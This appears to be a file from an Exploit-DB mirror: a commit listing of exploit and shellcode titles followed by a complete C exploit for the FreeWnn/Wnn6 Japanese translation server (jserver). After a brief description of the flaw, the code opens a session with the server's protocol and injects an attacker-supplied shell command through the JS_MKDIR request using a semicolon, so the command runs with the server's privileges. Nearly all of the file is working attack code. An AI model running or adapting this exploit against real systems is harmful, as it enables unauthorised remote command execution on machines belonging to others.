exploit-db-mirror/exploits/unix/remote/21215.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

105 lines
No EOL
3.4 KiB
C

// source: https://www.securityfocus.com/bid/3860/info
FreeWnn 1.1.0 is a kana-kanji (japanese) translation system. This software is a client-server type application, with the jserver portion acting as a server and performing translations for clients. The jserver component passes unsanitized input from the client via the JS_MKDIR command to a system() libcall, allowing arbitrary command execution with the semi-colon ";" command separation metacharacter. Commands sent in this manner will be executed at the privilege level of the jserver process.
/*=========================================================================
Wnn6 Exploit (tested on IRIX6.5 WorldView Janapese)
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN (unyun@shadowpenguin.org)
=========================================================================
*/
#include <stdio.h>
#include <netdb.h>
#include <fcntl.h>
#include <ctype.h>
#include <unistd.h>
#include <strings.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#define TARGET_PORT 22273
int dump_recv(int sockfd)
{
static char buf[4096];
int i,r,sum=0;
r=recv(sockfd,buf,sizeof(buf),0);
for (i=0;i<r;i++){
printf("0x%02X ",buf[i]&0xff);
sum+=(int)buf[i];
}
printf("\n");
return(sum);
}
main(int argc,char *argv[])
{
int sockfd,i;
struct sockaddr_in target;
struct hostent *hs;
static char buf[512];
static char mkdircmd[4096];
char hostname[4096];
char username[4096];
if (argc<3){
printf("usage : %s TargetHost command {hostname} {username}\n",argv[0]);
exit(1);
}
strcpy(hostname,"localhost");
strcpy(username,"root");
if (argc>=5)
strcpy(username,argv[4]);
if (argc>=4)
strcpy(hostname,argv[3]);
sockfd=socket(PF_INET, SOCK_STREAM, 0);
target.sin_family=AF_INET;
target.sin_port=htons(TARGET_PORT);
if ((target.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
target.sin_family = hs->h_addrtype;
memcpy((caddr_t)&target.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if (connect(sockfd, (struct sockaddr*)&target, sizeof(target))!=0){
printf("Can not connect to %s:%d\n",argv[1],TARGET_PORT);
exit(1);
}
/* JS_OPEN */
buf[3]=1;
buf[6]=0x4f;
strncpy(buf+8,hostname,strlen(hostname));
strncpy(buf+9+strlen(hostname),username,strlen(username));
send(sockfd,buf,10+strlen(hostname)+strlen(username),0);
dump_recv(sockfd);
/* JS_ENV_EXIST */
memset(buf,0,sizeof(buf));
buf[3]=0x07;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_CONNECT */
memset(buf,0,sizeof(buf));
buf[3]=0x05;
strncpy(buf+4,username,strlen(username));
send(sockfd,buf,5+strlen(username),0);
dump_recv(sockfd);
/* JS_MKDIR */
sprintf(mkdircmd,"a;%s",argv[2]);
memset(buf,0,sizeof(buf));
buf[3]=0x51;
strncpy(buf+8,mkdircmd,strlen(mkdircmd));
send(sockfd,buf,8+strlen(mkdircmd)+1,0);
dump_recv(sockfd);
close(sockfd);
}